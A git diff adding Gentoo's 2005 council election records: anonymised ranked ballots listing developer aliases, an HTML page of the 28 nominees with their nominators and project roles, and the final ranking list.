+Plasmaroo slarti bonsaikitten Weeve kugelfang azarah Koon KingTaco Stuart jaervosz tomk spb Ramereth Kumba genone mcummings seemant tigger ciaranm
+vapier
+--------- confirmation c2bd ---------
+azarah agriffis vapier SwifT Weeve Kumba KingTaco seemant solar Mr_Bones_ lcars Ramereth jaervosz Koon
+slarti kugelfang genone
+Plasmaroo tigger
+spb ciaranm
+Stuart tomk mcummings
+bonsaikitten
+--------- confirmation c37c ---------
+solar Mr_Bones_
+Plasmaroo vapier tigger
+seemant mcummings KingTaco kugelfang
+agriffis slarti Stuart
+lcars bonsaikitten SwifT Ramereth Kumba ciaranm
+Koon tomk jaervosz genone Weeve azarah spb
+--------- confirmation c393 ---------
+Plasmaroo
+seemant
+vapier
+Mr_Bones_
+agriffis
+azarah
+lcars
+Weeve
+SwifT
+Koon Stuart Kumba genone Ramereth KingTaco spb mcummings slarti kugelfang jaervosz tomk tigger
+solar
+ciaranm
+bonsaikitten
+--------- confirmation c3c2 ---------
+vapier azarah solar agriffis
+Koon Ramereth SwifT jaervosz
+kugelfang genone seemant
+ciaranm
+lcars tigger
+spb
+Weeve Kumba
+slarti KingTaco
+Stuart
+Plasmaroo Mr_Bones_ tomk
+mcummings
+bonsaikitten
+--------- confirmation c3ca ---------
+SwifT
+seemant vapier
+agriffis
+azarah lcars
+Ramereth
+Plasmaroo
+kugelfang
+slarti
+bonsaikitten
+genone
+spb
+Koon
+tigger
+mcummings Mr_Bones_ KingTaco Kumba jaervosz solar Stuart tomk Weeve
+ciaranm
+--------- confirmation c479 ---------
+Plasmaroo Weeve Koon vapier
+Ramereth jaervosz
+agriffis kugelfang ciaranm
+KingTaco azarah tigger Stuart mcummings
+Mr_Bones_ seemant solar SwifT genone
+Kumba lcars
+spb tomk slarti bonsaikitten
+--------- confirmation 13c7 ---------
+ciaranm seemant Mr_Bones_ solar agriffis vapier
+kugelfang bonsaikitten
+slarti jaervosz tigger SwifT azarah tomk Kumba Ramereth KingTaco lcars mcummings spb Koon Stuart Plasmaroo Weeve genone
+--------- confirmation c710 ---------
+solar
+seemant
+vapier
+kugelfang
+azarah
+Mr_Bones_
+ciaranm
+jaervosz
+bonsaikitten
+Weeve
+agriffis
+Stuart
+tomk
+genone
+Koon
+SwifT
+Ramereth
+KingTaco
+Kumba
+Plasmaroo
+slarti
+tigger
+spb
+lcars
+mcummings
+--------- confirmation c778 ---------
+solar
+ciaranm
+kugelfang
+slarti
+Koon
+azarah
+Plasmaroo
+mcummings
+agriffis
+tomk
+Weeve
+Ramereth
+Mr_Bones_
+spb
+SwifT
+jaervosz
+seemant
+lcars
+vapier
+genone
+bonsaikitten
+Stuart
+tigger
+Kumba
+KingTaco
+--------- confirmation c7ef ---------
+ciaranm Weeve
+Kumba
+vapier
+spb
+Mr_Bones_
+Plasmaroo
+azarah
+solar
+lcars agriffis seemant SwifT Ramereth mcummings
+kugelfang tomk
+jaervosz
+tigger
+Koon
+genone
+KingTaco
+slarti
+Stuart
+bonsaikitten
+--------- confirmation c9ad ---------
+vapier solar
+ciaranm
+kugelfang azarah agriffis Plasmaroo Kumba Koon seemant Mr_Bones_
+Stuart SwifT spb jaervosz tomk lcars genone Ramereth tigger slarti KingTaco bonsaikitten Weeve mcummings
+--------- confirmation 1440 ---------
+seemant azarah Mr_Bones_ tigger ciaranm genone vapier Stuart agriffis lcars Ramereth
+SwifT spb Plasmaroo
+Weeve slarti Kumba
+solar kugelfang
+jaervosz tomk Koon KingTaco
+bonsaikitten mcummings
+--------- confirmation cb54 ---------
+vapier
+agriffis
+SwifT
+solar
+Plasmaroo
+azarah
+Mr_Bones_
+seemant
+slarti
+jaervosz
+kugelfang
+tigger
+Weeve
+spb
+mcummings
+Koon
+KingTaco
+bonsaikitten
+Stuart
+genone
+Kumba
+Ramereth
+lcars
+tomk
+ciaranm
+--------- confirmation 148d ---------
+azarah Koon vapier
+agriffis Mr_Bones_ Plasmaroo Ramereth solar spb
+ciaranm
+genone Kumba lcars seemant SwifT Weeve
+jaervosz KingTaco kugelfang slarti tomk
+bonsaikitten Stuart tigger
+--------- confirmation d085 ---------
+mcummings
+lcars
+spb
+KingTaco
+ciaranm
+SwifT seemant tomk Koon Weeve kugelfang genone tigger agriffis solar Ramereth bonsaikitten slarti Kumba Plasmaroo Stuart jaervosz
+vapier
+--------- confirmation d102 ---------
+vapier
+Mr_Bones_
+genone
+agriffis
+kugelfang
+Kumba
+Plasmaroo
+slarti
+tigger
+seemant
+SwifT
+ciaranm
+solar
+Weeve
+spb
+jaervosz
+Koon
+Stuart
+KingTaco
+bonsaikitten
+tomk lcars Ramereth
+azarah
+--------- confirmation 151e ---------
+mcummings
+tigger
+KingTaco
+lcars
+Ramereth
+azarah
+agriffis
+genone
+SwifT
+Koon
+jaervosz
+kugelfang
+Stuart
+Kumba
+tomk
+Plasmaroo
+bonsaikitten
+solar
+slarti
+Weeve
+seemant
+Mr_Bones_
+spb
+ciaranm
+vapier
+--------- confirmation d606 ---------
+Stuart
+seemant
+tigger
+Ramereth
+lcars
+tomk
+azarah
+mcummings
+Koon
+solar
+bonsaikitten
+jaervosz
+KingTaco
+slarti
+agriffis
+Mr_Bones_
+Plasmaroo
+SwifT Weeve kugelfang genone Kumba vapier spb
+ciaranm
+--------- confirmation d867 ---------
+Plasmaroo SwifT
+KingTaco bonsaikitten
+ciaranm agriffis spb
+seemant Koon kugelfang azarah Kumba
+Mr_Bones_ Weeve slarti genone Ramereth
+jaervosz vapier tomk lcars tigger
+solar Stuart
+--------- confirmation d910 ---------
+seemant
+Stuart
+SwifT
+agriffis
+tomk
+Ramereth
+lcars
+azarah
+tigger
+slarti
+vapier
+Koon
+genone
+--------- confirmation da71 ---------
+ciaranm
+solar
+Plasmaroo
+seemant
+Kumba
+slarti
+Stuart
+mcummings
+spb
+SwifT
+tigger
+Mr_Bones_
+vapier
+Weeve
+tomk
+Koon
+jaervosz
+lcars
+KingTaco
+kugelfang
+azarah
+agriffis
+genone
+bonsaikitten
+Ramereth
+--------- confirmation 160d ---------
+ciaranm
+agriffis
+slarti
+azarah
+seemant
+jaervosz
+tigger
+SwifT
+lcars
+Weeve
+bonsaikitten
+Kumba
+Ramereth
+tomk
+vapier
+KingTaco
+Plasmaroo
+Koon
+Stuart
+Mr_Bones_
+solar
+kugelfang
+spb
+mcummings
+genone
+--------- confirmation dcb7 ---------
+KingTaco
+seemant
+vapier
+ciaranm
+Mr_Bones_ genone bonsaikitten spb Weeve Koon Ramereth lcars mcummings jaervosz azarah slarti solar tomk agriffis Plasmaroo Stuart SwifT kugelfang tigger Kumba
+--------- confirmation dcd3 ---------
+ciaranm
+agriffis
+Mr_Bones_
+Weeve
+solar
+tomk
+Koon
+spb
+Kumba
+tigger
+Ramereth
+lcars
+jaervosz
+kugelfang
+mcummings
+Stuart
+bonsaikitten
+genone
+slarti
+Plasmaroo
+SwifT
+seemant
+azarah
+vapier
+KingTaco
+--------- confirmation dd5e ---------
+ciaranm
+agriffis
+SwifT
+seemant
+vapier
+Stuart
+tigger
+--------- confirmation 0237 ---------
+SwifT
+agriffis seemant
+Koon Weeve jaervosz
+spb Ramereth
+kugelfang
+lcars Stuart
+slarti solar vapier Plasmaroo
+bonsaikitten azarah tomk Mr_Bones_ genone Kumba mcummings tigger KingTaco
+ciaranm
+--------- confirmation df1a ---------
+tomk
+seemant
+genone
+Plasmaroo
+Stuart Koon
+vapier solar agriffis
+Ramereth jaervosz
+spb tigger slarti
+lcars Mr_Bones_ SwifT
+bonsaikitten
+Kumba Weeve
+kugelfang azarah KingTaco
+mcummings
+ciaranm
+--------- confirmation e0b2 ---------
+tomk bonsaikitten
+SwifT KingTaco kugelfang
+Koon Plasmaroo genone
+solar Mr_Bones_ slarti lcars spb Ramereth tigger jaervosz Kumba agriffis Weeve Stuart azarah mcummings
+seemant ciaranm vapier
+--------- confirmation e169 ---------
+solar seemant vapier bonsaikitten SwifT
+genone Mr_Bones_ Koon slarti Plasmaroo lcars spb KingTaco Ramereth tigger jaervosz Kumba agriffis Weeve tomk Stuart azarah kugelfang mcummings
+ciaranm
+--------- confirmation e2be ---------
+ciaranm
+vapier
+kugelfang
+lcars
+mcummings
+tigger
+Plasmaroo
+SwifT
+agriffis
+spb
+--------- confirmation e35f ---------
+genone
+solar
+Koon
+kugelfang
+azarah
+vapier
+ciaranm
+--------- confirmation e3eb ---------
+Weeve
+jaervosz
+Koon
+genone
+tigger
+agriffis
+SwifT
+vapier
+Mr_Bones_
+solar
+Ramereth
+spb
+Stuart
+Kumba
+Plasmaroo
+tomk
+lcars
+KingTaco
+slarti
+bonsaikitten
+ciaranm
+seemant
+kugelfang
+azarah
+--------- confirmation e706 ---------
+solar
+spb
+vapier
+Mr_Bones_
+agriffis
+seemant
+azarah
+bonsaikitten Ramereth
+Weeve KingTaco Koon tomk slarti Kumba Plasmaroo jaervosz SwifT kugelfang lcars tigger mcummings
+Stuart
+genone
+ciaranm
+--------- confirmation e91d ---------
+seemant
+Stuart
+tigger
+lcars
+Weeve
+ciaranm
+Kumba
+solar
+vapier
+SwifT
+genone
+Mr_Bones_
+agriffis
+Ramereth
+slarti
+Koon
+Plasmaroo
+tomk
+bonsaikitten
+KingTaco
+kugelfang
+mcummings
+spb
+jaervosz
+azarah
+--------- confirmation e92f ---------
+agriffis vapier
+azarah solar ciaranm Plasmaroo
+Kumba Stuart seemant genone slarti Weeve Koon SwifT tomk KingTaco Mr_Bones_ mcummings
+kugelfang lcars tigger jaervosz Ramereth spb bonsaikitten
+--------- confirmation 025b ---------
+bonsaikitten
+azarah
+agriffis
+genone
+Weeve
+seemant
+kugelfang
+KingTaco
+jaervosz
+Plasmaroo
+Stuart
+vapier
+tigger
+solar
+SwifT
+spb
+slarti
+lcars
+Kumba
+Koon
+tomk
+Mr_Bones_
+mcummings
+Ramereth
+ciaranm
+--------- confirmation ed82 ---------
+vapier
+agriffis
+azarah
+seemant
+Ramereth
+ciaranm
+kugelfang
+jaervosz
+Plasmaroo
+KingTaco
+Stuart
+genone
+Koon
+Mr_Bones_
+tigger
+lcars
+solar
+Weeve
+Kumba spb SwifT tomk slarti
+mcummings
+bonsaikitten
+--------- confirmation edba ---------
+jaervosz Koon
+lcars seemant mcummings
+tomk
+ciaranm
+SwifT Kumba
+kugelfang spb KingTaco Plasmaroo solar azarah tigger genone Weeve bonsaikitten agriffis Stuart Ramereth slarti Mr_Bones_
+--------- confirmation ef4e ---------
+Weeve
+seemant
+Kumba
+ciaranm
+Plasmaroo vapier azarah
+solar
+agriffis mcummings
+spb tigger
+Ramereth jaervosz
+genone bonsaikitten
+tomk Stuart slarti Koon Mr_Bones_ lcars KingTaco SwifT kugelfang
+--------- confirmation f20a ---------
+ciaranm
+agriffis
+solar
+vapier
+lcars
+genone
+Kumba
+Mr_Bones_
+seemant
+jaervosz
+spb
+Koon
+Weeve
+slarti
+Ramereth
+azarah
+mcummings
+Plasmaroo
+KingTaco
+kugelfang
+Stuart
+tigger
+tomk
+SwifT
+bonsaikitten
+--------- confirmation f2f8 ---------
+Koon
+kugelfang
+tomk
+Plasmaroo
+lcars
+KingTaco
+jaervosz
+SwifT
+bonsaikitten
+Ramereth
+solar
+mcummings
+genone
+seemant
+Mr_Bones_
+slarti
+Kumba
+tigger
+Weeve
+spb
+Stuart
+azarah
+vapier
+agriffis
+ciaranm
+--------- confirmation 194c ---------
+ciaranm
+agriffis
+azarah
+spb
+slarti
+vapier
+Ramereth
+Weeve
+solar
+lcars
+Kumba
+Mr_Bones_
+seemant
+mcummings
+tomk
+SwifT
+jaervosz
+Koon
+tigger
+genone
+KingTaco
+kugelfang
+Plasmaroo
+bonsaikitten
+Stuart
+--------- confirmation fd22 ---------
+SwifT
+lcars
+agriffis seemant solar KingTaco
+bonsaikitten tomk Ramereth tigger
+Kumba slarti mcummings Plasmaroo
+Stuart ciaranm jaervosz
+spb Koon Weeve
+vapier kugelfang azarah Mr_Bones_ genone
+--------- confirmation fd38 ---------
+seemant
+vapier genone tigger solar
+ciaranm jaervosz kugelfang
+lcars Ramereth
+slarti spb bonsaikitten agriffis tomk azarah mcummings SwifT Mr_Bones_ Koon Plasmaroo KingTaco Kumba Weeve Stuart
+--------- confirmation fe25 ---------
+seemant solar Weeve
+SwifT
+lcars tigger Ramereth
+Stuart agriffis jaervosz Kumba
+KingTaco azarah kugelfang Plasmaroo genone mcummings
+Koon tomk
+Mr_Bones_ slarti spb
+vapier bonsaikitten ciaranm
+--------- confirmation ff17 ---------
+vapier
+seemant
+kugelfang
+KingTaco
+Plasmaroo
+agriffis
+slarti
+spb
+mcummings
+Ramereth
+--------- confirmation 1b5f ---------
+SwifT
+slarti
+ciaranm
+solar
+genone
+tomk
+vapier
+Plasmaroo
+mcummings
+agriffis
+lcars
+seemant
+spb
+kugelfang
+KingTaco
+tigger
+Koon
+bonsaikitten
+Ramereth
+azarah
+Stuart
+Mr_Bones_
+jaervosz
+Kumba
+Weeve
+--------- confirmation 1cc4 ---------
+SwifT
+Koon
+mcummings
+genone
+kugelfang
+agriffis
+seemant azarah vapier
+Weeve tigger KingTaco Kumba lcars Plasmaroo solar tomk slarti Ramereth jaervosz Mr_Bones_
+Stuart
+bonsaikitten spb ciaranm
+--------- confirmation 1efb ---------
+tigger
+azarah
+vapier
+Plasmaroo
+Weeve
+slarti
+lcars
+agriffis
+seemant Kumba Mr_Bones_ SwifT kugelfang spb mcummings genone KingTaco Stuart bonsaikitten ciaranm tomk solar Ramereth Koon jaervosz
+--------- confirmation 25f0 ---------
+kugelfang
+Plasmaroo
+Koon
+Mr_Bones_
+vapier
+mcummings
+ciaranm
+Ramereth
+jaervosz
+seemant
+lcars
+slarti
+Stuart
+tigger
+agriffis
+genone
+SwifT
+Kumba
+solar
+KingTaco
+bonsaikitten
+tomk
+Weeve
+azarah
+spb
+--------- confirmation 26f2 ---------
+Weeve
+kugelfang
+Plasmaroo
+mcummings
+SwifT
+KingTaco
+seemant
+Kumba
+agriffis
+spb
+jaervosz
+tomk
+bonsaikitten
+Ramereth
+slarti
+Stuart
+tigger
+Koon
+lcars
+Mr_Bones_
+solar
+genone
+azarah
+vapier
+ciaranm
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2005-nominees.html b/xml/htdocs/proj/en/council/voting-logs/council-2005-nominees.html
new file mode 100644
index 00000000..dcf14a64
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2005-nominees.html
@@ -0,0 +1,504 @@
+<!--
+Originally hosted at http://dev.gentoo.org/~slarti/misc/nominees.html
+-->
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-GB" lang="en-GB">
+    <head>
+	<title>Gentoo Council Nominees</title>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+    </head>
+
+    <body>
+<style type="text/css">
+/* Terribly hackish in places. Feel free to steal it, but it would be nice
+   if you credited me somewhere */
+body {
+/*    background-color: #BFBFBF;*/
+    background-color: #CCCCCC;
+}
+
+* {
+    font-family: sans-serif;
+    font-size: 10px;
+}
+
+a:link {
+    color: #0d00c5;
+    text-decoration: none;
+}
+
+a:visited {
+    color: #6B1017;
+    text-decoration: underline;
+}
+
+a:hover {
+    text-decoration: underline;
+/*    background-color: #EBCC00; */
+}
+
+p  {
+    margin-left: 10px;
+    margin-right: 10px;
+    margin-top: 0px;
+}
+
+p.small  {
+    text-align: center;
+    font-size: 8px;
+}
+
+code {
+    font: 11px monospace;
+    color: #1d3b75;
+}
+
+pre {
+    font: 10px monospace;
+    background-color: #E1E0DC;
+    padding: 5px;
+    margin: 10px;
+    border: 1px dashed #999999;
+}
+
+div.main {
+    background: #EAEAEA;
+    padding: 10px;
+    margin: 10px;
+    overflow: hidden;
+}
+
+hr {
+    margin-left: 10px;
+    margin-right: 10px;
+    border-bottom: 1px dashed #999999;
+    border-top: 0px;
+    border-left: 0px;
+    border-right: 0px;
+}
+
+h1 {
+    font: bold 26px trebuchet ms, sans-serif;
+    text-align: center;
+    border: 1px dashed #999999;
+    background-color: #EBEBEB;
+    padding: 5px;
+    margin: 10px;
+}
+
+h2  {
+    font: bold 18px trebuchet ms, sans-serif;
+    text-align: left;
+    margin: 10px;
+    border-bottom: 1px dashed #999999;
+}
+
+h3  {
+    font: bold 14px trebuchet ms, sans-serif;
+    text-align: left;
+    color: #1f2f3f;
+    margin-left: 10px;
+    margin-bottom: 5px;
+}
+th {
+    font-weight: bold;
+    text-align: left;
+}
+dl  {
+    margin: 10px;
+}
+dd {
+    margin-left: 20px;
+    margin-bottom: 5px;
+}
+
+dt {
+    font: bold 14px trebuchet ms, sans-serif;
+    color: #1f2f3f;
+    margin-bottom: 1px;
+}
+
+table {
+    margin-left: 10px;
+}
+
+ul {
+    margin-top: 10px;
+    margin-bottom: 10px;
+}
+
+img {
+    border-style: none;
+}
+
+th.nfp {
+    border: 1px solid #000000;
+    border-bottom: 3px double;
+    padding: 5px;
+}
+
+td.nfp {
+    padding: 5px;
+    border: 1px solid #000000;
+}
+
+table.nfp {
+    border-spacing: 0px;
+    border-collapse: collapse;
+    border: 1px solid #000000;
+    margin: 10px;
+    margin-top: 0px;
+    margin-left: auto;
+    margin-right: auto;
+}
+</style>
+
+	<div class="main">
+	    <h1>Gentoo Council Nominees</h1>
+	    <p>
+	    I've edited the old trustee nomination page to list nominees
+	    for the new metastructure council. Since all the action is
+	    taking place on -core, I can't give links to the candidates'
+	    platforms and/or nominations. <b>Update:</b> Actually, some
+	    have posted their platforms somewhere linkable, so where
+	    possible, I've created a link.
+	    </p>
+
+	    <p>
+	    Some nominees were nominated more than once, or have been
+	    seconded. I have only included the initial nominators in the
+	    table, because it is too difficult to keep track of things
+	    otherwise. If I were to attempt, it could also lead to some
+	    bias. Personally, I think it's better not to second or
+	    renominate candidates &#8212; this is why we have a vote.
+	    </p>
+
+	    <p>
+	    Sorry about the table's columns being in a somewhat
+	    hard-to-follow order. Columns have been appended in unusual
+	    places and manipulating HTML tables is time consuming.
+	    </p>
+
+	    <!--
+	    the nfp class is a hangover from the old page; I'm too
+	    lazy to change it
+	    -->
+	    <table class="nfp">
+		<tr>
+		    <th class="nfp">ID</th>
+		    <th class="nfp">Accepted</th>
+		    <th class="nfp">Name</th>
+		    <th class="nfp">Alias</th>
+		    <th class="nfp">Nominator's alias</th>
+		    <th class="nfp">Devrel</th>
+		    <th class="nfp">Trustee</th>
+		    <th class="nfp">Curr. manager</th>
+		</tr>
+		<tr>
+		    <td class="nfp">1</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/agriffis.txt">Aron Griffis</a></td>
+		    <td class="nfp">agriffis</td>
+		    <td class="nfp">g2boojum</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">2</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/vapier.txt">Mike Frysinger</a></td>
+		    <td class="nfp">vapier</td>
+		    <td class="nfp">g2boojum</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">3</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">
+		        <a href="http://dev.gentoo.org/~lcars/.nominee">Andrea Barisani</a>
+		    </td>
+		    <td class="nfp">lcars</td>
+		    <td class="nfp">(self)</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">4</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/seemant.txt">Seemant Kulleen</a></td>
+		    <td class="nfp">seemant</td>
+		    <td class="nfp">slarti</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">Yes</td>
+		</tr>
+		<tr>
+		    <td class="nfp">5</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/Kugelfang.txt">Danny van Dyk</a></td>
+		    <td class="nfp">Kugelfang</td>
+		    <td class="nfp">blubb</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">6</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">Patrick Lauer</td>
+		    <td class="nfp">bonsaikitten/patrick</td>
+		    <td class="nfp">(self)</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">7</td>
+		    <td class="nfp">No</td>
+		    <td class="nfp">Tobias Scherbaum</td>
+		    <td class="nfp">dertobi123</td>
+		    <td class="nfp">bonsaikitten/patrick</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">8</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/azarah.txt">Martin Schlemmer</a></td>
+		    <td class="nfp">azarah</td>
+		    <td class="nfp">Kugelfang</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">Yes</td>
+		</tr>
+		<tr>
+		    <td class="nfp">9</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">Lance Albertson</td>
+		    <td class="nfp">Ramereth</td>
+		    <td class="nfp">dostrow</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">10</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/tomk.txt">Tom Knight</a></td>
+		    <td class="nfp">tomk</td>
+		    <td class="nfp">klieber</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">11</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">Michael Sterret</td>
+		    <td class="nfp">Mr_Bones_</td>
+		    <td class="nfp">wolf31o2</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">12</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">Marius Mauch</td>
+		    <td class="nfp">genone</td>
+		    <td class="nfp">(self)</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">13</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="http://stu.gnqs.org/diary/gentoo.php?title=standing_for_tde_gentoo_council">Stuart Herbert</a></td>
+		    <td class="nfp">Stuart</td>
+		    <td class="nfp">genone</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">14</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/solar.txt">Ned Ludd</a></td>
+		    <td class="nfp">solar</td>
+		    <td class="nfp">genone</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">15</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/spb.txt">Stephen Bennett</a></td>
+		    <td class="nfp">spb</td>
+		    <td class="nfp">genone</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">16</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/Koon.txt">Thierry Carrez</a></td>
+		    <td class="nfp">Koon</td>
+		    <td class="nfp">zypher</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">17</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">Tim Yamin</td>
+		    <td class="nfp">Plasmaroo</td>
+		    <td class="nfp">beejay</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">18</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/Weeve.txt">Jason Wever</a></td>
+		    <td class="nfp">Weeve</td>
+		    <td class="nfp">hardave</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</td>
+		<tr>
+		    <td class="nfp">19</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">Joshua Kinard</td>
+		    <td class="nfp">Kumba</td>
+		    <td class="nfp">(self)</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">20</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/SwifT.txt">Sven Vermeulen</a></td>
+		    <td class="nfp">SwifT</td>
+		    <td class="nfp">(self)</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">Yes</td>
+		</tr>
+		<tr>
+		    <td class="nfp">21</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/ciaranm.txt">Ciaran McCreesh</a></td>
+		    <td class="nfp">ciaranm</td>
+		    <td class="nfp">spb</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">22</td>
+		    <td class="nfp">Not yet</td>
+		    <td class="nfp">Brian Harring</td>
+		    <td class="nfp">ferringb</td>
+		    <td class="nfp">beu</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">23</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/jaervosz.txt">Sune Kloppenborg Jeppesen</a></td>
+		    <td class="nfp">jaervosz</td>
+		    <td class="nfp">beu</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">24</td>
+		    <td class="nfp">Not yet</td>
+		    <td class="nfp"><a href="nominees/2005/johnm.txt">John Mylchreest</a></td>
+		    <td class="nfp">johnm</td>
+		    <td class="nfp">beu</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">Yes</td>
+		</tr>
+		<tr>
+		    <td class="nfp">25</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/mcummings.txt">Michael Cummings</a></td>
+		    <td class="nfp">mcummings</td>
+		    <td class="nfp">beu</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">26</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a
+			    href="http://planet.gentoo.org/developers/slarti/2005/07/13/my_nomination_for_tde_gentoo_council">Tom Martin</a></td>
+		    <td class="nfp">slarti</td>
+		    <td class="nfp">beu</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">27</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/tigger.txt">Rob Holland</a></td>
+		    <td class="nfp">tigger</td>
+		    <td class="nfp">beu</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+		<tr>
+		    <td class="nfp">28</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp"><a href="nominees/2005/KingTaco.txt">Mike Doty</a></td>
+		    <td class="nfp">KingTaco</td>
+		    <td class="nfp">blubb</td>
+		    <td class="nfp">Yes</td>
+		    <td class="nfp">-</td>
+		    <td class="nfp">-</td>
+		</tr>
+	    </table>
+
+	    <p>
+	    This file is g+w, so you can write to it if you like.
+	    However, please post to gentoo-core first, announcing
+	    your (self-)nomination.
+	    </p>
+
+	    <p>
+	    I don't have any raw form of tdis data so if you want raw
+	    tabular, do something like:
+	    </p>
+
+<pre>
+lynx -dump http://www.gentoo.org/proj/en/council/voting-logs/nominees.html | grep '\t'
+</pre>
+
+	    <p>
+	    Although, this doesn't completely work. I'm not quite sure
+	    why. I guess you can figure something out.
+	    </p>
+	</div>
+    </body>
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2005-rank.txt b/xml/htdocs/proj/en/council/voting-logs/council-2005-rank.txt
new file mode 100644
index 00000000..70165e80
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2005-rank.txt
@@ -0,0 +1,24 @@
+seemant
+vapier
+agriffis
+solar
+azarah
+SwifT
+Koon
+Mr_Bones_
+Plasmaroo
+ciaranm
+Weeve
+Ramereth
+tigger
+lcars
+kugelfang
+KingTaco
+jaervosz
+genone
+slarti
+Kumba
+Stuart
+mcummings,spb
+tomk
+bonsaikitten
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2005-results.txt b/xml/htdocs/proj/en/council/voting-logs/council-2005-results.txt
new file mode 100644
index 00000000..d66cb4c4
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2005-results.txt
@@ -0,0 +1,12 @@
